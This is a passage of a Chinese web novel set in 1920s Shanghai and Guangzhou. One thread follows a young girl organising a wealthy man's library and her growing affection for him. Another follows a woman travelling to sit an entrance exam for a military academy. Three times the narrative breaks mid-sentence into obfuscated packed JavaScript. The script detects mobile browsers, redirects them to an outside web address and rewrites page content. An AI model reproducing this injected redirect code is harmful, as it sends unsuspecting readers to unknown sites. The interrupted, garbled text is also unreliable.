中山先生罹患肝癌晚期,药石无医,于三月十二日上午,与世长辞。 至此,南北和谈破裂,和平统一已成泡影,革命尚未成功,同志仍需努力。 两个月后,上海陆家嘴滨江的别墅客厅里,举行着一场热闹的舞会,由霍家三小姐霍春音主持,受邀的俱是商业名流,外国公使,气氛轻松愉快。 一曲终了,萧瑜牵着意犹未尽的康雅聆坐到一旁的沙发上休息。刚才她跳男步,康雅聆跳女步,两个人默契十足。 “大姐为人古板严肃,没想到我的外甥女居然是这么有趣的人。” 康雅聆接过萧瑜递来的一杯香槟,眉间顾盼流转,笑意盈盈。 萧瑜笑了笑:“可惜母亲的喜好和聆姨不同。” 康雅聆是康家最小的女儿,只比萧瑜大六岁,自幼在美国读书,聪慧美丽,时髦新潮,是上海名流圈中男士竞相追求的目标,也是康家三女一子中最为叛逆的。 随着萧瑜与康家一家以及继父萧润一家的接触,她发现所有人待她都不算恶意,至少比亲生母亲康雅惠友善,而其中最投缘的就是小姨康雅聆。 当然,这不乏萧瑜刻意讨好的结果。 “自从妈妈去世,长姐如母,大姐可算一手带大我们几个,她在家中从来说一不二。”康雅聆无奈的耸耸肩。 萧瑜失笑:“可她现在要求我去继续念书,最好是一个能教得我言行举止完全变样的学校,我想不出除了西点军校还有什么别的选择。” 听着她的自嘲,康雅聆忍不住笑起来了,“你不想出国也情有可原,毕竟你才和锦宁结婚两年不到,大姐真是不近人情......不过,说起西点军校,如果你不想出国的话,我倒是有一个选择提供给你,保证大姐哑口无言。” “什么选择?” “广州陆军军官学院,他们的招考委员会计划在今年秋天招一批女子入学,这将是全世界第一批正经在编的军校女学员。” 萧瑜一愣:“你说的是真的?” “当然了,有人亲口告诉我的。而且,如果你真的愿意,我可以给你介绍一个人,有他的引荐,大姐也拦不住你。” “谁?” “中山先生在世时身边最亲近的学生,现在是陆军军校的校长。” 康雅聆想起什么,双颊绯红,低头笑了笑,意味深长道:“他现在在追我,你说我要不要答应呢?” ——第一卷完—— 41. 第 1 章 八月的上海酷热难耐,高温持续了好几天,太阳像个大大的火球挂在天边,马路被烤得炽热,好像能烫熟鸡蛋。 街上行人稀少,连黄包车也不见几个,偶尔一辆空荡荡的电车叮铃铃的驶过,带来一阵潮热的风。 阿绣和丁香贴着墙根,一前一后的小碎步走着,力求把自己完全笼罩在建筑物窄窄的影子里。 小姑娘的眼里,本来无奈的事情变成了一种游戏,摇摇晃晃走平衡木一样,你捅我一下,我捅你一下,满头大汗也不亦乐乎。 阿绣拎着食盒,丁香抱着鸡汤,她们两个要去医院看丁伯。 前几天丁伯换客厅灯泡的时候,从梯子上摔了下来,摔伤了腿,住进医院,这几天丁妈和丁香轮流去照顾他。 医院里阴阴冷冷,酷暑闷热倒是一下子就消散不少,阿绣不由长舒一口气。 两人来到病房,却发现今天有了一位访客来探病。 “少爷,您怎么还亲自来了?您花钱让我们来看医生,我们已经很感激了。” 丁妈和丁伯都是很过意不去的样子。 “没关系,好好休养才最重要。” 丁妈忙不迭地点头,刚要说什么,突然看见门口站着的两人: “丁香,阿绣,你们来了?快进了。” 霍锦宁本来背向房门,坐在病床边,闻言回过头来。 他并没有笑,可阿绣觉得他看自己的眼中是含笑的。 阿绣觉得自己很傻,但却很雀跃。 “少爷!” 霍锦宁颔首,这才淡淡笑了笑。 丁香和阿绣给丁伯夫妇送来午饭,阿绣是吃过才来的,坐下说了些话,就打算离开。 霍锦宁也和她一起告辞了,两个人一同走到医院门口,阿绣停下脚步,抬头看他。 自从上次的那番谈话过后,两个人的相处似乎自然了很多,霍锦宁偶尔来看望她,关照一下她的学习生活,并不久留,可光是如此,阿绣已经很开心了。 阿绣终于慢慢学会惯抬头看着人眼睛说话了,霍锦宁也有些欣慰。他粗略目测了两人的距离,笑了笑: “长高了。” 最近每一次见她,霍锦宁都会有这样的感觉,十五六岁的小姑娘正是长身体的时候,几个月就要窜上一窜。 阿绣一愣,连忙问:“真的吗?可是丁香有帮我在量啊,我感觉我很久没长了。” 其实她很希望长高一点的,并为此很努力的吃饭,因为她觉得自己实在是太矮了,头顶还不到霍锦宁的肩膀。 “是长高了,也……胖了一点。” 阿绣双手捂着脸,神色惶恐。 “胖一点很好,不然太瘦了。”霍锦宁明白她的小心思,笑着安慰她,“走吧,我送你回去。” “嗯,不用了,我还要去书店,有些麻烦。” 阿绣很怕麻烦他,因为她知道霍锦宁真的很忙,苏沪线年初开工,他很重视,亲自跟进,多次视察,前几个月几乎是住在工地,废寝忘食。 “没关系,我送你去书店,下午我不忙。” 他笑了笑,“第一阶段工程结束了,给自己偷闲半天。你要是想去哪里玩,可以告诉我,我带你去。” 阿绣自然是希望他好好休息,哪舍得让他劳累,于是只说:“那就送我去书店吧,老师布置了我们读书的作业,礼拜一要检查的。” “好。” 阿绣常去的那家书店在静安寺路,门面不大,里面却不小,而且的书五花八门,种类繁多。 一进门靠左手边的是一排摆放笔记本的架子,上面有各式各样的笔记本,从便宜的草稿本到昂贵的白纸本。最上面一排是真皮封面的厚实笔记本,每一页泛黄牛皮纸的右下角上都有着精美的水印,美观大方,同时也价格不菲。伙计说过,那都是法兰西的舶来品,纯手工制作。 阿绣每一次来都要在架子前恋恋不舍的徘徊一阵,这一次碍于霍锦宁在身边,只是多看了几眼,就绕过它直奔摆放海外书籍的地方了。 霍锦宁在一旁不紧不慢的等着她,随手拿起书架上的一本新体诗集翻看。 阿绣拿出一张书单,对照着上面的书籍一一寻找,没想到十几本中一本也没找到,于是她只好去问伙计。 “请问有没有这些书?” 伙计为难:“你要是想找《资本论》或《理想国》,那很好找,要是《战争与和平》和《基督山恩仇记》也行,可是这些书我们这里真的没有。恕我直言,全上海的书店也不一定有,况且这‘若安奥斯顿’是谁?我真的是听都没听过。” “好吧,谢谢你。”阿绣有些失望。 霍锦宁伸手接过她的书单看了看,上面无不是一些生僻冷门的书名和作者,没有一个当下流行的政治学说或通俗文学。 “你从哪里找到的这些书?” “是《英吉利文学》里推荐的,老师让我们试着看英文原著,练习阅读。” 他笑了笑:“现在开始就阅读名篇对你来说可能为难了些,而且这些书有的遣词用句确实深奥,我书房里有些简单的英文书应该更适合你,你去挑一挑吧。” 阿绣又惊又喜:“可以吗?” “当然可以,不过你也要帮我一个小忙。” 霍锦宁带她来到摆放笔记本的书架边,对她说:“帮我挑两本,我要送人。” “那,是要送给什么人呢?”阿绣迟疑。 霍锦宁不置可否:“你按照你的喜好来选就好。” 阿绣只好照办,她看看这本,又摸摸那本,爱不释手,磨蹭半天,终于选出了自己心仪许久的两本。一本是浅灰色亚麻封皮,里面是艾菲尔铁塔的水印,另一本是棕褐色牛皮本,里面印着一株优雅的蔷薇花。 这里每一本笔记都独一无二,她相信对方一定会喜欢的。 然后霍锦宁又让她选了一支玫瑰金色的自来水笔,和两瓶墨水,一起交给伙计包在了牛皮纸袋里。 “走吧。” “好。” . 阿绣来过小福园别墅一次,但没有进过三楼的书房。她没想到原来这间书房这样大,几乎占满了整个三楼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424904|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空间,并且和楼上的阁楼是打通的,盘旋而上的木质楼梯相连,一排排的书架顶到了天花板,上面摆满了各种书籍,从古到今,从文言到白话,还有不少外文原版书。阳光从高大的落地窗外照射进来,落在书桌上一本摊开的德意志词典上,夏日午后的炽热和书本特有的旧气交相辉映,慵懒舒适。 阿绣觉得自己简直走进了不得了的宝库! 她欣喜而好奇的打量着这间书房:“怎么会有这么多书?少爷您都看过吗?” 霍锦宁失笑:“怎么可能?不过确实看过其中一部分,祖父酷爱藏书,这里面很多都是他留下的,也有一些是我后来添置的。” 他走上楼梯,来到一排书架前,伸手略过书脊,抽出几本,一边翻看一边说: “这几本是我当初刚学洋文时看过的,你先拿去,读书总要由浅入深,书单上那些并不适合你。还有几本,我再找找。” 阿绣接过书,看见封皮上的书名,一本是TheHappyPrince快乐王子,还有一本是theNIGHTINGALEANDTHEROSE夜莺和玫瑰,都是英文原著,书有些旧了,想必有些年头。 “那是你多大的时候?” 霍锦宁想了想:“九岁?还是十岁?我记不清了。” 那就是十多年前的事了,不知道那个时候她有没有出生。 阿绣轻轻抚摸着泛黄的纸页,心中有些欣喜,好似冲破时间和空间,与当年的那个小少年有了一丝一缕的牵连。 霍锦宁在另外的书架前站了半天而无所得,无奈道: “这些书搬过来后我没再整理过,看过的书不知道都堆到了哪里,一时半刻找不太全。” 这里的书没有一万也有八千,有祖父留下的,有他从国外漂洋过海带回来的,也有这些年陆续买的。自从搬进这里,他虽然还在坚持读书,但每天俗世繁忙,确实没那么多心思整理,现在贸然找一本陈年旧书实在为难。 “没关系,您可以把书名告诉我,我自己来找。” 阿绣左右看了看,发现书架上的书确实堆放的杂乱无章,一本《资治通鉴》挨着一本《莎翁文选》,忍不住说:“少爷,我可以帮您整理一下吗?不然您下次要是着急想找一本书,不是很麻烦。” 这确实是霍锦宁头疼的问题,只是苦于一直没有合适放心的人选,阿绣细心又好学,非常适合。 “也好,不过这是个浩大的工作,你慢慢来就好。” 阿绣高兴的点头:“我会认真完成的。” 霍锦宁也笑了笑:“不用着急,今天你先看书吧,不是说礼拜一老师要检查。” 他指引阿绣来到落地窗前,这里铺了一张玉石凉席,上面摆放了一张低矮的茶几和两三圆蒲团。 “你在这里看书吧,有不懂的可以来问我,我在下面办公。” 阿绣点头,却又不禁问道:“您不去休息吗?” 好不容易,他能清闲一天。 霍锦宁笑了笑:“不了,既然回来,还是要分秒必争,你看书吧,不用管我。” 42. 第 2 章 太阳西斜,炽热了一天的暑气逐渐消散,微凉的清风从房门吹到窗前,吹散了午后的闷热气息,让人神清气爽。 阿绣不由放下书本,活动了一下僵硬的肩膀和双腿。 不知不觉,她已经看了一个下午了,手里的这本《快乐王子》故事很短,薄薄的一本,配有精美的插画,边看边翻字典,她磕磕巴巴的读完了全文。 无忧无虑的小王子终于还是懂得了民间疾苦,牺牲自己拯救了他人,好在最后王子的铅心和小鸟都被上帝带去了天堂,阿绣又难过又欣慰。 那么当年那个十岁的小少年读到这本书时,是什么感受呢?那时的霍锦宁是否已经在懵懂的内心深处埋下了一颗悲悯的种子,日后哪怕锦衣玉食,哪怕挥金如土,他也终究惦念着的是千万万食不果腹,衣不蔽体的国人? 书房里静悄悄的,连起初霍锦宁写字时笔尖落在纸上的沙沙声都不见了。阿绣有些好奇,她小心翼翼的挪到楼梯边缘,趴在栏杆上往下看。 楼下正中央的桌子上堆满了文件图纸,霍锦宁坐在桌边,单手支着额头,不知道在专心看着什么,一动不动。 阿绣看了一会儿,觉得有些奇怪,轻手轻脚的从楼梯上下来,走近一看,他果然是睡着了。 这个姿势其实很不舒服,就像是课堂上偷睡的顽劣学生,他双目微闭,睫毛轻轻颤动,眼底下淡淡淤青。 阿绣有点好笑,也有点心疼。她轻轻蹲下来,趴在桌子上,把头枕在手臂上,抬眸偷偷看着他。 当初他在笙溪镇养伤的日子,她也趁他熟睡时,无数次这样的打量他,仍是百看不腻。这个男人是真的俊朗,一身清贵,温文尔雅,气定神闲,有着不符年纪的宠辱不惊,也许天大的事也不能叫他皱一下眉吧。 夕阳金色的余晖洒在他眼目眉梢,似乎为他镀上一层光晕,神使鬼差的,她悄悄伸出一根手指,虚虚描摹他英俊的眉目和高挺的鼻梁,嘴角忍不住微微扬起,为了心底里那个最无人知晓隐秘…… 忽然,他的睫毛轻颤了一下,阿绣吓的急忙收回手,猫着腰蹲到桌子旁边。 屏息等待片刻,她又趴到桌边悄悄看了一眼,不禁松了口气,他没有醒。 余光不经意瞥见从椅背上滑落到地上的西装外衣,阿绣轻手轻脚的捡起来,打算为他盖在肩上。 猝不及防,手腕被一把抓住,她被扯的一个趔趄,连人带衣服整个都扑到了霍锦宁身上。 霍锦宁本是下意识的动作,迷迷糊糊只觉得身上一沉,条件反射伸手接住了砸过来的人,睁开眼睛,就看见怀里惊慌失措,满脸通红的小姑娘。 暮色四合,书房里半明半暗,只有晚霞浅浅的余晖,四目相对,都在彼此眼中看见了自己的倒影,肌肤相亲,呼吸相闻。 阿绣急急忙忙跳起来,支支吾吾的解释: “我,我只是想给你盖衣服,我去,去洗手间!” 她根本不敢看霍锦宁的表情,匆匆逃了出去。 . 阿绣在走廊徘徊了许久,想来想去都不敢再进去,只好下楼钻进了厨房。 霍吉正在案板前切葱,看见她突然闯进来,不由疑惑:“你来干什么?” “霍吉大哥,我,帮你准备晚饭好吗?” 霍吉看了眼她手足无措的样子,语气平平道:“那你去洗菜吧。” 阿绣听话的走到水池边,看见各种菜已经择好,分门别类放在盘子里,于是把它们一一放在水龙头下清洗。 她一边洗菜,一边忍不住偷偷瞄向站在一边的霍吉。 一直以来,霍吉都沉默寡言的跟在霍锦宁身边,从没见他笑过,阿绣一直觉得他很神秘很冷酷。 而此时他身前围着一块绿格围裙,面无表情,运刀如飞,把她洗好的一盘盘菜熟练的切成各种形状,似乎身上也染上了些许烟火人气。 两人一个掌勺,一个帮厨,第一次配合,倒也还算默契,切鱼剁肉,炒勺翻飞,转瞬香气扑鼻。 “霍吉大哥,这几年一直是你在照顾少爷的饮食吗?” 阿绣话问出口,等了很久也没有回答,直到她以为霍吉并不会理自己时才听他道: “少爷留学海外,只带了我一个人,国外所有衣食起居都是我在打点,起初我也不会做饭,后来慢慢就学会了。” 阿绣笑了笑:“那少爷一定也离不开霍吉大哥的手艺了。” “其实少爷自己也会,当时都是我和少爷轮流做饭的,我只是做好本分而已。”霍吉顿了顿,低声说,“只要少爷不嫌弃,我会一辈子跟着少爷。” 最后一道龙井虾仁终于出锅,盛在玉白瓷盘,霍吉把筷子递给阿绣:“尝尝。” 阿绣受宠若惊的接过,小心的夹起一块,放在口中尝了尝,迟疑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424905|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问: “茶香好像更加浓郁,是把茶叶碾碎的缘故吗?” “先炒过,然后碾碎,这样龙井更加入味。” 霍吉明明没有表情,可阿绣却觉得他眼里滑过笑意,尽管转瞬即逝。 “去叫少爷用餐吧。” “……好。” 幸好没用阿绣上楼,霍锦宁已经从楼梯上下来了,他似乎并没有把刚才的插曲放在心上,只笑着揶揄: “我还以为你去哪儿了,原来肚子饿跑去厨房偷吃了。” “没有没有,我只是去帮霍吉哥了。”阿绣不好意思道:“正要去叫您下来。” 霍锦宁颔首:“丁妈晚上要陪丁伯住在医院,你留在这里吃饭吧。” 霍锦宁一直有食不言寝不语的习惯,于是又是二人相对无言吃过晚饭。 饭后,霍锦宁让人开车送阿绣回去,阿绣想起下午还没看完的两本书,想借回去接着看,没想到被霍锦宁拒绝了。 “丁妈说你有晚上熬夜看书的习惯,这对眼睛很不好。你如果想看,可以随时来我的书房,我不在家时也可以。”霍锦宁笑了笑:“你不是还说要帮我整理旧书吗?” “嗯,好的。”阿绣不好意思的点头。 霍锦宁将阿绣送上汽车,顺手把一个牛皮纸袋子递给她,阿绣打开一看,发现正是两人白天在书店买的纸和笔。 “这…少爷…” 霍锦宁一笑:“本来就是给你的,不是多贵重的东西,你又那样喜欢,正好你可以用它做读书笔记。” 阿绣又惊又喜,有些反应不过来,呆呆的问:“你怎么知道我想要?” 她明明,已经很克制了啊。 夜色月光下,霍锦宁的表情有些晦暗不明,他轻笑了笑,淡淡道: “因为,喜欢的眼神是藏不住的。” . 晚上回到家中,阿绣躲在自己的卧室里,把那两本笔记放在桌上,忍不住一遍又一遍的抚摸柔软的牛皮封面,偷偷的笑起来。 她从抽屉里拿出那本自己从小看到大的《红楼梦》残本,翻到宝黛初遇那一章,泛黄的书页夹着一朵压干的桃花,她捏着花枝轻轻转了转,又放了回去,重新合上书本。然后把这本《红楼梦》和两本精美的笔记本,珍而重之的锁进抽屉里。 够了,如今这样已是足够了,她心满意足,无所奢求。 43. 第 3 章 八月的广州潮湿闷热,台风例行过境,每天晴转多云,不定时瓢泼大雨,丝毫不能消减酷暑,反而增添水雾沉闷。 轮船停靠在港口,整个码头熙熙攘攘,人头攒动,货运工人,渔民商贩,旅客接站挤做一团。湿汗味、腥臭味被闷热的天气蒸发得淋漓尽致。 萧瑜用手帕捂着口鼻,勉强穿过拥挤的人群,向前走去。 霍祥拎着大包小裹的行李,满头大汗的跟在她身后,努力抻着脖子寻找着接站牌。 她最终还是听从了康雅聆玩笑一般的建议,来到了广州报考陆军军官学院。 其实这并不是唯一的出路,可她偏就神使鬼差的选择了。犹记得她将复试通知单交给母亲,并言之凿凿要去全国最“革命”的前线,来改造自己一身封建陋习时,康雅惠气得铁青的脸。 也许,她为的不过就是那一刻而已,并且并未深思熟虑这个选择背后代表着什么。 有康雅惠从中说情,康雅惠最后还是同意了,不过要求她必须是自己通过入学考试,不准借康雅聆那里走捷径。 霍锦宁对她的自作主张只是有些无奈。 “你应当再等一等,你母亲那里我去说情总有协商余地。” “不必了,难得她对你印象不错,那么我这被牵的线被搭的桥理应功成身退,免得适得其反。你这岳母待见女婿,却不待见女儿。” “我怕你受苦。” “也许我确实该吃些苦。”她笑,“你不同意我的决定?” “不,你该知道,无论你做什么,我都会支持你。” 是的,从小到大,无论萧瑜做什么,霍锦宁都会支持。 所以她依仗着这份纵容,此时此刻站在这里,初试她已轻松通过,如今来广州参加复试。 “小姐!少爷说来接咱们的人您看见了吗?” 萧瑜无奈:“找不到就算了吧。” 这密密麻麻的人群,能找见都有鬼了。 身后突然被人狠狠的撞了一下,萧瑜一个趔趄,回头刚要发火,却发现是个小姑娘。 小姑娘又瘦又黑,一双大眼睛倒是精气神儿十足,她梳着两条麻花辫子,穿着打补丁的衣裤,抱着一个被撞散了的布包袱,手忙脚乱的向萧瑜道歉: “对不起对不起,我不是故意的,我被别人绊了一脚,你没事儿吧?” “你怎么回事,走路也不看着点?!”霍祥还想教训她,被萧瑜制止了。 “我没事。” 萧瑜弯下腰帮她收拾掉在地上的行李,有几张纸已经被地面的水浸湿了,她捡起一看,上面写道: 兹有陈胜男同志通过我部审核,赴广州参加陆军军官学院复试,特此证明。 陈胜男接过萧瑜手里的东西,连声道谢。 萧瑜无意和她攀谈,只点头示意,然后和霍祥转身离开。 “诶,小姐,那里!” 霍祥眼尖一下子就看见了人堆里一个艰难举起的牌子,抬手指去,上面写着四个字:沪上霍家。 萧瑜不禁松了一口气,加快脚步走过去。 而身后某个跟了许久如影随形的男子,也随之加快了脚步,擦肩而过之际,袖子里的手神不知鬼不觉就要伸进萧瑜的口袋里—— “住手!” 一只黑瘦的小手突然抓住了行窃的那只手,男子一惊,连忙挣脱,可那女子瞧着瘦弱,却力气惊人,他一大男人居然一时没能挣脱开。 陈胜男柳眉倒竖:“小贼,跟我去见官!” 霍祥后知后觉反应过来,蹭的一下跳到萧瑜身边,护着怀里的箱子,连忙道:“小姐,你没事儿吧?” 萧瑜抬手揉了揉额角,有些头疼。 她知道从下船起自己就被人盯上了,这码头龙蛇混杂,三教九流的人不少,她从头等舱下来,孤身女子只带了一个仆人,自然被窥伺。 早料到这种情况,所以她身上分文没带,口袋里鼓鼓的是廖三哥曾经送的那把左轮,扒手若是摸到自然会知难而退。 可现在被这愣头愣脑的姑娘横插一杠,却是很难善了了。 果然,四周渐渐围拢过来七八个流里流气的男人,而周围行人见此一幕,也纷纷绕行。 霍祥被萧瑜用眼神示意,想要偷偷溜走,也被推搡了回来。 一个穿着丝绸马褂,梳中分头的矮个男人袖着手慢悠悠踱了过来,笑眯眯道: “不知是哪路神仙过了江,兄弟在这里得罪了。道上规矩,开张没有空手回,两位小姐,今天不如就撂下点什么成全了咱们?” 陈胜男有些惊讶,但面无惧色,仍然死死抓着那贼的手,厉声质问:“光天化日,你们要干什么?” 萧瑜也笑了笑,慢条斯理道:“我们北方来的,不懂贵地规矩,可历来靠‘小手艺’吃饭的,当场失了手可是连老妪稚童都敢上手打的,你们如今怕不是要明抢?” 矮个男人看出萧瑜也是懂行的,索性直接对上她,被这样点破也毫不羞愧,反而无赖道:“偷也好抢也好,不过都是混口饭吃。强龙不压地头蛇,小姐明白人,不如自己掂量掂量?” “哟,你这话是笃定我们不是强龙了?” 萧瑜嗤笑,不过几个地痞无赖不成大器,给三分颜色还开起染坊了,昔日她在北京城里即便不曾欺行霸市横着走,也断然没有硬吃哑巴亏的道理。今天要真认了怂,她也就不用去参这个军了! “那倒是要看看你是不是真蛇了!” 她猛然抬手举枪正对着矮个男人脑壳,这人比她还矮一点,倒是瞄准的毫不费力。 “住手!” “赖哥小心!” 场面一时慌乱,周围几个混混纷纷亮起刀子,白晃晃闪了一片,却不敢贸然上前。 霍祥抡着箱子做防御状,虚张声势:“别过来,都别过来!” 陈胜男也很机灵的反手掐着被她抓住的那小贼的脖子,可惜她个头不高,勉强踮着脚有些滑稽,脸上还一本正经道:“不许动,是你们抢劫在先,再这样我们可就不客气了!即使告到官府我们也是占理的!” 那赖哥被枪指着也算镇定,勉强笑道:“这里是广州,你不敢开枪。” 萧瑜微微一笑,子弹上膛:“上一个这么说的人坟头荒草不知都几丈高了。” 赖哥额头滴下汗来,却还梗着脖子不肯低头。 身边小弟倒是焦急吼道: “快放了赖哥!” “不准开枪!” 七嘴八舌,混乱不堪。 两相僵持之下,突然一个声音在人群外喝道: “你们干什么呢?统统散开!” 只见一行五人,肩背粤造毛瑟,身穿灰蓝色军装,强制分开众人,挤了过来。 为首的年轻男人面容端正,一身正气。 他见到是赖哥等人,眉头一皱,厉声道: “赖皮蛇,又是你们!” 赖哥皮笑肉不笑:“汪长官,你们看清楚了,这回可不是我们惹事。” 陈胜男急忙道:“是他们行窃,被抓之后恼羞成怒要抢劫,我们被迫自卫,这位长官你要查清真相啊!” 汪姓长官看向萧瑜:“是这样吗?” 萧瑜手里还举枪顶着赖皮蛇的脑袋,很无辜的点头:“当然,你也看见了,我们只是两个弱女子。” 身边有人嗤笑了一声,萧瑜抬眼看去,是汪长官身后另一个年轻军人,他相貌普通,皮肤白皙中透着一份惨青,神色冷淡,无端有些戾气。 他明明和另外四人站在一起,却是全然一副隔岸观火的疏离模样。 汪长官点点头,客客气气道:“那现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424906|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以请你放下枪吗?” 萧瑜可有可无,轻轻抬手,移开了枪口。 赖哥踉跄了一下,抬手擦汗。 汪长官冷冷看了他一眼,警告道:“赖皮蛇,这次就算了,别再被我们抓到你违法犯纪。” 赖哥不忿:“抓人自有警署麻烦,你们这是狗拿耗子多管闲事!” 汪长官身边另一个军人道:“根据规定,现在广州城里的日常治安,都由军校巡逻队负责,你再带人闹事,我们有权直接抓你去警署。” 赖哥自知今日是栽了,狠狠瞪了他们一眼,带着小弟灰溜溜的撤了。 汪长官对萧瑜解释道:“这赖皮蛇是码头一带的一霸,我们知道这次肯定又是他们惹事在先,但是下一回还是不动枪的好,广州城里还是讲法讲理的。” 萧瑜还没等说什么,陈胜男抢先道:“一定一定,不过我们这次也是逼不得已嘛。” 她凑过去有些不好意思的问:“长官,刚才你说你们是军校的?是陆军军官学校吗?” 一个身材瘦弱戴眼镜的军人抑扬顿挫道:“广州城里还有哪个军校?这可是蝎子拉屎——独一份!” 汪长官也笑了起来,露出一排白牙,倒是显出了稚嫩: “别叫长官了,我们都是军校三期一队的学生,轮班负责城内巡逻工作,我叫汪云飞。” 他指着那个戴眼镜的斯文军人:“他是韩文彬。” 说着他依次介绍过剩下的几人。 陈胜男眼前一亮:“那我们说不定还可以做同学呢,我叫陈招...不不不,陈胜男,我也是来报考军校的。” 汪云飞也很高兴:“是了,今年学校招收第一批女子学员,原来我们是同窗。” 陈胜男不好意思道:“还没有复试呢,也说不准。” “那这位也是未来同窗吗?”汪云飞看向萧瑜。 “我不知道,其实我们也是刚刚认识。”陈胜男后知后觉的问萧瑜道:“姑娘,你叫什么名字?” 萧瑜叹了口气,“我叫萧瑜,也是来投考军校的。” 几人闻言欣喜,正准备再聊,却被人冷冰冰的打断。 “该继续巡逻了。” 正是刚才对萧瑜嗤笑那人,他面无表情的催促着。 有人不满道:“难得遇见师妹,闫国民,你别总是这么死板。” 韩文彬夸张道:“人家可和我们不一样,有这功夫还要往校长办公室里钻,指望着升官发财呢。” 另一人不忿道:“你说什么?有本事再说一遍?” “好了!” 汪云飞喝止了他们的争执,有些无奈,只好对萧瑜和陈胜男道:“你们若没有落脚处,不妨去东进街,那里全是客栈,住了很多来报考的女学生。我们继续巡逻了,后会有期!” 一行人列队离开,陈胜男还在背后激动的挥手:“再见,后会有期!” 萧瑜突然对于即将同这样一群热血沸腾的年轻人成为同窗有些迟疑,她天性懒散,并没有这样激昂澎湃的热情。 刚要转身,却被陈胜男一把拉住胳膊——这姑娘手劲儿可真是大啊! “萧瑜,你要去哪儿?不去投店吗?” “不了,我有落脚处。” 眼见一旁霍锦宁安排来接她那人都等半天了。 “哦哦哦。” 陈胜男连忙松手,很快又再次拉住,萧瑜疼得嘴角一抽,不耐烦道:“又怎么了?” “那个......”陈胜男有些不好意思,黑黄的脸上看不出是不是红了,她难以启齿道: “你可不可以借一些钱给我,我的盘缠都花光了。我保证以后一定分文不差的还你!” 萧瑜勉强把胳膊从她铁钳子一样的手里抽出来,叹了口气: “算了,你跟我来吧。” 44. 第 4 章 整理霍锦宁的书房,是一件比阿绣想象中还要复杂一百倍的事情。这里不只有中文书英文书,还有德文法文日文和其他国家的书籍,就连英文书里也有很多涉及工商科学专业,阿绣根本看不懂。 据霍吉说,霍锦宁在美国的几年,酷爱买书,除去日常开销,本就不多的生活费全部用来购书,后来回国时行李中光书籍就托运了几十箱,就算回国以后,霍锦宁也会定期托人从海外购书运回国内。换句话说,如今这个书房的藏书还在源源不断的增长。 更不用提角落里成箱成箱的旧报纸和英文杂志堆积如山,怪不得霍锦宁说慢慢来,因为这根本不是短时间能完成的工程。 阿绣现在每天放学过后,礼拜周末,都会来小福园别墅,经过几天毫无头绪的浏览,她最终决定从头开始,一本一本来分拣。 可她经常会因为遇见感兴趣的书,而停下手中的进度,直接席地而坐翻看起来,于是这项工作变得持续遥遥无期起来。 此时她手中拿着一本这几天整理下来的书目记录,在架子上寻找着一本叫《骑鹅游记》的英国童话,偶然一抬头,突然在最上面那排书格上看见了一本意料之外的书,很厚一本,书脊上竖排三个字:红楼梦。 阿绣的心怦怦跳了起来,这是她看的第一本书,也是十四岁以前陪伴她枯燥童年的唯一一本书,她可以从前到后一字不差的背下来。她曾无数次幻想过后面的情节,宝黛的结局,充满憧憬,直到霍锦宁的出现,她终于得知,金玉满堂原来是曲终人散的悲剧。 此时此刻,这本书就在她眼前,触手可及,她究竟要不要看? 纠结半晌,她终是鼓起勇气,踮起脚,探手去拿。 可惜架子太高,她根本够不到,无助之时,一只手突然从身后越过她的头顶,轻而易举的拿到了书。 “是这本吗?” 那人就站在她身后,阿绣转过身来,狭窄的空间让她不得不后背紧贴在书架上。这里恰好是拐角处,左边的墙,身后的书架,面前的人,就这样呈三角状将她困在原地。 一抬头就是霍锦宁近在咫尺的面孔,阿绣心跳快了几分,抱紧了怀里的书册,垂下头掩饰通红的脸颊,轻声道: “少爷。” “吓到你了?” 霍锦宁退后一步,将手里的书递给她,“待会儿我叫霍吉找个矮梯过来,不然你恐怕拿不到上面的书。” 阿绣点了点头,有些赧然,她确实够不到最上面一排。 霍锦宁垂眸扫了一眼书的封面:“要看《红楼梦》?” “其实,还没有下定决心。”阿绣老实回答。 “因为我告诉过你结局?” “嗯。” 霍锦宁看着小姑娘一脸为难的样子,不禁好笑,“没有关系,这一本可以破例让你带回去,等你下定决心时再看也不迟。” 阿绣点点头,不知为何悄悄松了口气。 两人在窗边的小几旁坐下,上面放着两杯冰咖啡,是霍锦宁刚才端进来的。 “要不要试一试?” 他示意她。 阿绣急忙摇头,她现在已经知道了这种咖啡是西洋传过来的饮品,能够提神醒脑,可她还是接受不了这种焦焦苦苦的味道,比中药还难喝。 看她一副如临大敌的模样,霍锦宁摇头笑了笑:“这次不同,不信你尝一尝?” 阿绣有些迟疑,可她很相信霍锦宁,望着玻璃杯中冰块若隐若现的浅褐色液体,她终于轻轻的抿了一小口。 